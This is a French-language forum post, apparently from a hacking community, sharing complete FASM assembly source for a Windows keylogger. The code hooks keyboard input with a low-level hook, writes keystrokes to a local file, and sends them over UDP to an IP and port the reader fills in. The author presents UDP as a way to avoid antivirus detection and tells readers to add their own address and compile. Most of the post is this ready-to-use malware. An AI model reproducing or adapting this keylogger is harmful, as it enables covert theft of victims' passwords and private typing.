Salut à toi visiteur !
Inscris toi en moins de 10 secondes pour profitez pleinement du site et partager avec la communauté ! S'inscrire


#1
Bonjour,

J'ai retrouvé dans mes archives le keylogger UDP dont j'avais parlé dans la chatbox.
Pourquoi UDP et pas TCP ? Car TCP est détecté par les antivirus mais pas UDP (en tout cas il n'y était pas il y a 5ans).
Normalement je crois qu'il fonctionne (j'ai la flemme de vérifier).
Je vois aussi qu'il y a une partie commenté sur le code, je crois que c'était pour chiffrer les données. Je dis "je crois" car ça fait 5ans que je n'ai pas codé d'asm et j'ai beaucoup de mal à relire mes codes Smile Il faut que je m'y remette.
Enfin voilà.. Vous avez juste à rajouter votre ip WAN dans 'votre_adresse_ip' puis compiler le code et ensuite c'est censé fonctionner. Ah oui, j'oubliais, c'est sur le port 13000 que ça fonctionne, mais ça c'est pareil vous pouvez le changer dans le code.


Et il y a des trucs, je ne sais plus pourquoi je l'ai avait écrit dans le code. Par exemple ces trois lignes:

titre db 'titre',0
message1 db '1',0
message2 db '2',0

Je crois que vous pouvez les supprimer, tout comme ces trois lignes qui me servaient à faire des printf:

formd db '%08d',13,10,0
formh db '%08x',13,10,0
forms db '%s',13,10,0

Voilà le code: (celui ci n'est pas commenté, désolé. Gardez à l'esprit que c'est un code qui n'est pas terminé...)

Code :
format PE GUI
include 'include/windows/win32a.inc'

;--------------------------------------------------
section '.flat' code readable writeable executable
;--------------------------------------------------

entry $
    invoke    CreateThread,0,0,Injection,0,0,dwthread
    or    eax,eax
    jz    exit

    invoke    WaitForSingleObject,eax,0xffffffff


Injection:
    invoke    GetModuleHandle,0
    or    eax,eax
    jz    exit

    invoke    SetWindowsHookEx,WH_KEYBOARD_LL,Keyhook,eax,0
    mov    [HHOOK],eax

    invoke    GetMessage,msg,NULL,0,0

    invoke    UnhookWindowsHookEx,[HHOOK]
    ret


proc Keyhook nCode,wParam,lParam

    cmp    [nCode],HC_ACTION
    jnz    callnexthook
    cmp    [wParam],WM_SYSKEYDOWN
    jz    @f
    cmp    [wParam],WM_KEYDOWN
    jnz    callnexthook

     @@:
    mov    eax,[lParam]

    virtual at eax
      _vkCode    dd ?
      _scanCode    dd ?
      _flags    dd ?
      _time        dd ?
      _dwExtraInfo    dd ?
    end virtual

    mov    eax,[_vkCode]
    mov    [vkCode],eax

    mov    esi,lowercase

    invoke    GetKeyState,0xa5
    cmp    ah,0xff
    jnz    @f
    mov    esi,altgrcase
     @@:
    invoke    GetKeyState,0xa0
    cmp    ah,0xff
    jz    @f

    invoke    GetKeyState,0xa1
    cmp    ah,0xff
    jz    @f

    invoke    GetKeyState,0x14
    cmp    ax,0x0001
    jnz    Keyscan
     @@:
    mov    esi,uppercase

Keyscan:
    mov    eax,[vkCode]
    mov    edi,vkcode

    xor    ecx,ecx
    add    cl,63
    cld
    repne    scasb
    or    cl,cl
    jz    callnexthook
    sub    cl,63
    not    cl
    add    si,cx
    lodsb

;    shl    ax,8
;    mov    esi,c128
;    add    esi,[cmpt]
;    inc    [cmpt]
;    cmp    [cmpt],16
;    jnz    @f
;    xor    [cmpt],16
;     @@:
;    lodsb
;    cmp    al,ah
;    jz    @f
;    xor    al,ah
;     @@:
    mov    byte [writebuf],al

    invoke    CreateFile,FilePath,GENERIC_WRITE,0,0,\
        OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,0
    mov    [hFile],eax

    invoke    SetFilePointer,[hFile],0,0,FILE_END

    invoke    WriteFile,[hFile],writebuf,0x1,BytesNbr,0

    invoke    GetFileSize,[hFile],0
    mov    [nSize],eax

    invoke    CloseHandle,[hFile]

    cmp    [nSize],50
    jna    callnexthook

    call    Network

callnexthook:
    invoke    CallNextHookEx,[HHOOK],[wParam],[lParam]
    ret
endp



Network:
    invoke    WSAStartup,0x202,wsadata

    mov    word [sockaddr],AF_INET

    mov    cx,13000
    rol    cx,8
    mov    word [sockaddr+2],cx

    invoke    inet_addr,ip_addr
    mov    dword [sockaddr+4],eax

    invoke    socket,AF_INET,SOCK_DGRAM,IPPROTO_UDP
    mov    [sock],eax

    invoke    CreateFile,FilePath,GENERIC_READ,0,0,\
        OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0
    mov    [hFile],eax

    invoke    GetFileSize,[hFile],0
    mov    [nSize],eax

    invoke    ReadFile,[hFile],readbuf,[nSize],BytesNbr,0

    invoke    CloseHandle,[hFile]

    invoke    sendto,[sock],readbuf,[nSize],0,sockaddr,16

    ret

   exit:
    invoke    ExitProcess,0



;-[Data]-------------------------------------------

titre db 'titre',0
message1 db '1',0
message2 db '2',0

formd db '%08d',13,10,0
formh db '%08x',13,10,0
forms db '%s',13,10,0

c128 db 0x7d,0x72,0x6f,0xd7,0x84,0x09,0xb2,0x18,\
    0x12,0xd7,0x43,0xf3,0x33,0x1b,0xa4,0x6f,0


cmpt dd 0
msg MSG

hFile dd 0
FilePath db 'file.txt',0
writebuf db 0
BytesNbr dd 0
nSize dd 0

dwthread dd 0
HHOOK dd 0

vkCode dd 0

altgrcase db 0x00,0x00,0xa4,0x00,0x00,0x00,0x00,0x00,\
         0x00,0x7d,0x5d,0x00,0x23,0x7b,0x5b,0x7c,\
         0x5c,0x7e,0x60,0x5e,0x40,0

uppercase db 0x0a,0x20,0xa3,0x25,0xb5,0x3f,0x2e,0x2f,\
         0xa7,0x2b,0xb0,0x31,0x33,0x34,0x35,0x36,\
         0x38,0x32,0x37,0x39,0x30,0x41,0x42,0x43,\
         0x44,0x45,0x46,0x47,0x48,0x49,0x4a,0x4b,\
         0x4c,0x4d,0x4e,0x4f,0x50,0x51,0x52,0x53,\
         0x54,0x55,0x56,0x57,0x58,0x59,0x5a,0x30,\
         0x31,0x32,0x33,0x34,0x35,0x36,0x37,0x38,\
         0x39,0x2a,0x2b,0x2d,0x2e,0x2f,0

lowercase db 0x0a,0x20,0x24,0xf9,0x2a,0x2c,0x3b,0x3a,\
         0x21,0x3d,0x29,0x26,0x22,0x27,0x28,0x2d,\
         0x5f,0xe9,0xe8,0xe7,0xe0,0x61,0x62,0x63,\
         0x64,0x65,0x66,0x67,0x68,0x69,0x6a,0x6b,\
         0x6c,0x6d,0x6e,0x6f,0x70,0x71,0x72,0x73,\
         0x74,0x75,0x76,0x77,0x78,0x79,0x7a,0x30,\
         0x31,0x32,0x33,0x34,0x35,0x36,0x37,0x38,\
         0x39,0x2a,0x2b,0x2d,0x2e,0x2f,0

vkcode db 0x0d,0x20,0xba,0xc0,0xdc,0xbc,0xbe,0xbf,\
      0xdf,0xbb,0xdb,0x31,0x33,0x34,0x35,0x36,\
      0x38,0x32,0x37,0x39,0x30,0x41,0x42,0x43,\
      0x44,0x45,0x46,0x47,0x48,0x49,0x4a,0x4b,\
      0x4c,0x4d,0x4e,0x4f,0x50,0x51,0x52,0x53,\
      0x54,0x55,0x56,0x57,0x58,0x59,0x5a,0x60,\
      0x61,0x62,0x63,0x64,0x65,0x66,0x67,0x68,\
      0x69,0x6a,0x6b,0x6d,0x6e,0x6f,0



wsadata WSADATA
sock dd ?
sockaddr rb 16
ip_addr db 'votre_adresse_ip',0
readbuf rb 64


;-[Import]-----------------------------------------

data import

library kernel32,'kernel32.dll',\
    msvcrt,'msvcrt.dll',\
    user32,'user32.dll',\
    wsock32,'ws2_32.dll'

include 'include/windows/api/kernel32.inc'
include 'include/windows/api/user32.inc'
include    'include/windows/api/wsock32.inc'

import msvcrt,\
printf, 'printf'

end data


Sujets apparemment similaires…
Sujet Auteur Réponses Affichages Dernier message
  Keylogger local xddj 7 3,185 26-03-2020, 11:38
Dernier message: xddj

Atteindre :